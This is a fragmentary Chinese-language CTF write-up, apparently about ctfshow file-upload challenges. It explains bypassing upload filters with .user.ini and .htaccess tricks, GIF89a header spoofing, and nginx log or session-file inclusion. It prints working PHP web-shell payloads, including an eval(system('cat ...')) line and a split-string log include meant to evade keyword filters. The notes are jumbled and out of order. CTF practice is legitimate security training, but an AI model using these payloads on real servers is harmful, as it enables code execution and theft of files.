赞
踩
这里就关系到了网站中间件的设置问题
这里利用.user.ini文件,只要访问同目录下的php文件就能把目标png文件当作php文件加载
自行搜索绕过一下其他的和153题无异
可以直接写payload获得flag,不用在继续$_POST之类的
GIF89a
<?= eval(system('cat ../flag.p*'))?>
payload:
user-agent: <?php eval(system('cat flag.php'));?>
<?=include"/var/lo"."g/nginx/l"."og"?>
但是会验证图片头信息
使用GIF89a在文件最上方添加
####这几道题在有做讲解文件上传{session文件包含以及条件竞争、图片文件渲染绕过(gif、png、jpg)}-CSDN博客
162-163:session文件包含以及条件竞争
164:png图片渲染
165:jpg图片渲染
上传后可以下载可能存在文件包含
随便创建一个zip文件上传抓包
点击下载文件抓包
执行命令
.htaccess一般只限定在使用appach的时候会有用
使用.htaccess文件要开启apache httpd.config AllowOverride All
.htaccess内容:
AddType application/x-httpd-php .jpg
payload:<?=`ls ../`?>
前端过滤白名单只允许png文件,抓包以后可修改为php文件
.user.ini上传的目录下必须有php文件
前端限制zip文件,后端限制png文件,但是对后缀没有过滤
这样就算成功
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。